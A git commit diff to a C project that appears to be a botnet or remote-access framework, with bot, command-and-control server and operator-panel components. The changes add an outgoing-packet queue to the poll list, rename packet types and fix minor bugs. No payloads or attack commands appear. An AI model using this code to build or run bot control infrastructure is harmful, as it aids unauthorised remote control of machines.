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Added laikaP_pushOutQueue, minor refactoring

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- sLaika_pollList now holds an outQueue, if events are sent to a peer,
	the pollList will keep track so the caller (cnc, bot, etc)
	can handle each pollOut for the queued peers.
This commit is contained in:
CPunch
2022-02-13 23:55:30 -06:00
parent a442f2f493
commit e7265ad15b
8 changed files with 69 additions and 20 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
bot/src/bot.c
View File

@@ -105,5 +105,13 @@ _BOTKILL:
laikaS_kill(&bot->peer->sock);
LAIKA_TRYEND
/* flush pList's outQueue */
if (bot->pList.outCount > 0) {
if (!laikaS_handlePeerOut(bot->peer))
laikaS_kill(&bot->peer->sock);
laikaP_resetOutQueue(&bot->pList);
}
return true;
}

17
cnc/src/cnc.c
View File

@@ -41,8 +41,6 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
laikaS_endOutPacket(peer);
/* send bot connection info to any connected panel clients */
LAIKA_DEBUG("accepted handshake from peer %lx\n", peer);
}
@@ -98,7 +96,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i;
/* notify connected panels of the connected peer */
/* notify connected panels of the newly connected peer */
for (i = 0; i < cnc->panelCount; i++) {
laikaC_sendNewPeer(cnc->panels[i], peer);
}
@@ -109,7 +107,8 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
/* notify connected panels of the disconnected peer */
for (i = 0; i < cnc->panelCount; i++) {
laikaC_sendRmvPeer(cnc->panels[i], peer);
if (cnc->panels[i] != peer) /* don't send disconnect event to themselves */
laikaC_sendRmvPeer(cnc->panels[i], peer);
}
}
@@ -118,7 +117,7 @@ void laikaC_rmvPanel(struct sLaika_cnc *cnc, struct sLaika_peer *panel) {
for (i = 0; i < cnc->panelCount; i++) {
if (cnc->panels[i] == panel) { /* we found the index for our panel! */
laikaM_rmvarray(cnc->panels, cnc->panelCap, i, 1);
laikaM_rmvarray(cnc->panels, cnc->panelCount, i, 1);
break;
}
}
@@ -198,5 +197,13 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
LAIKA_TRYEND
}
/* flush pList's outQueue */
for (i = 0; i < cnc->pList.outCount; i++) {
peer = cnc->pList.outQueue[i];
if (!laikaS_handlePeerOut(peer))
laikaC_killPeer(cnc, peer);
}
laikaP_resetOutQueue(&cnc->pList);
return true;
}

11
cnc/src/cpanel.c
View File

@@ -10,14 +10,19 @@ inline void checkAuthenticated(struct sLaika_peer *peer) {
bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_peer *panel = (struct sLaika_peer*)uData;
struct sLaika_cnc *cnc = (struct sLaika_cnc*)panel->uData;
laikaC_sendNewPeer(panel, peer);
/* make sure we're not sending cnc info lol, also don't send connection information about themselves */
if (&peer->sock != &cnc->sock && peer != panel) {
LAIKA_DEBUG("sending peer info %lx (cnc: %lx, panel: %lx)\n", peer, cnc, panel);
laikaC_sendNewPeer(panel, peer);
}
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_BOT);
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_PEER);
/* write the bot's pubkey & peerType */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
@@ -27,7 +32,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
}
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_BOT);
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_PEER);
/* write the bot's pubkey */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));

8
lib/include/lpacket.h
View File

@@ -31,14 +31,14 @@ enum {
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;
*/
LAIKAPKT_AUTHENTICATED_ADD_BOT, /* notification that a bot has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_BOT
LAIKAPKT_AUTHENTICATED_ADD_PEER, /* notification that a peer has connected to the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
* -- reserved info later (machine info including hostname, OS, machineType, ip, etc.)
*/
LAIKAPKT_AUTHENTICATED_RMV_BOT, /* notification that a bot has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_BOT
LAIKAPKT_AUTHENTICATED_RMV_PEER, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
* uint8_t peerType;
*/

9
lib/include/lpolllist.h
View File

@@ -16,8 +16,11 @@ struct sLaika_pollEvent {
bool pollOut;
};
struct sLaika_peer;
struct sLaika_pollList {
struct hashmap *sockets;
struct sLaika_peer **outQueue; /* holds peers which have data needed to be sent */
struct sLaika_pollEvent *revents;
#ifdef LAIKA_USE_EPOLL
/* epoll */
@@ -29,8 +32,10 @@ struct sLaika_pollList {
int fdCapacity;
int fdCount;
#endif
int reventCapacity;
int reventCap;
int reventCount;
int outCap;
int outCount;
};
void laikaP_initPList(struct sLaika_pollList *pList);
@@ -40,6 +45,8 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock);
void laikaP_iterList(struct sLaika_pollList *pList, tLaika_pollIter iter, void *uData);
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer);
void laikaP_resetOutQueue(struct sLaika_pollList *pList);
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *nevents);

3
lib/src/lmem.c
View File

@@ -6,7 +6,8 @@ void *laikaM_realloc(void *buf, size_t sz) {
/* are we free'ing the buffer? */
if (sz == 0) {
free(buf);
if (buf != NULL) /* sanity check :) */
free(buf);
return NULL;
}

6
lib/src/lpeer.c
View File

@@ -61,6 +61,9 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
sock->outCount += crypto_secretbox_MACBYTES;
}
/* add to pollList's out queue */
laikaP_pushOutQueue(peer->pList, peer);
sz = sock->outCount - peer->outStart;
peer->outStart = -1;
return sz;
@@ -179,9 +182,6 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
break;
}
if (peer->sock.outCount > 0 && !laikaS_handlePeerOut(peer))
return false;
return laikaS_isAlive((&peer->sock));
}

27
lib/src/lpolllist.c
View File

@@ -25,8 +25,11 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
/* setup hashmap */
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL);
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
pList->reventCapacity = POLLSTARTCAP/GROW_FACTOR;
pList->reventCap = POLLSTARTCAP/GROW_FACTOR;
pList->reventCount = 0;
pList->outQueue = NULL;
pList->outCap = POLLSTARTCAP/GROW_FACTOR;
pList->outCount = 0;
#ifdef LAIKA_USE_EPOLL
/* setup our epoll */
@@ -43,6 +46,7 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
void laikaP_cleanPList(struct sLaika_pollList *pList) {
laikaM_free(pList->revents);
laikaM_free(pList->outQueue);
hashmap_free(pList->sockets);
#ifdef LAIKA_USE_EPOLL
@@ -138,6 +142,23 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
#endif
}
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_peer *peer) {
int i;
/* first, check that we don't have this peer in the queue already */
for (i = 0; i < pList->outCount; i++) {
if (pList->outQueue[i] == peer)
return; /* found it :) */
}
laikaM_growarray(struct sLaika_peer*, pList->outQueue, 1, pList->outCount, pList->outCap);
pList->outQueue[pList->outCount++] = peer;
}
void laikaP_resetOutQueue(struct sLaika_pollList *pList) {
pList->outCount = 0; /* ez lol */
}
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) {
int nEvents, i;
@@ -153,7 +174,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
for (i = 0; i < nEvents; i++) {
/* add event to revent array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
.sock = pList->ep_events[i].data.ptr,
.pollIn = pList->ep_events[i].events & EPOLLIN,
@@ -174,7 +195,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
/* insert event into revents array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCap);
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
.sock = elem->sock,
.pollIn = pfd.revents & POLLIN,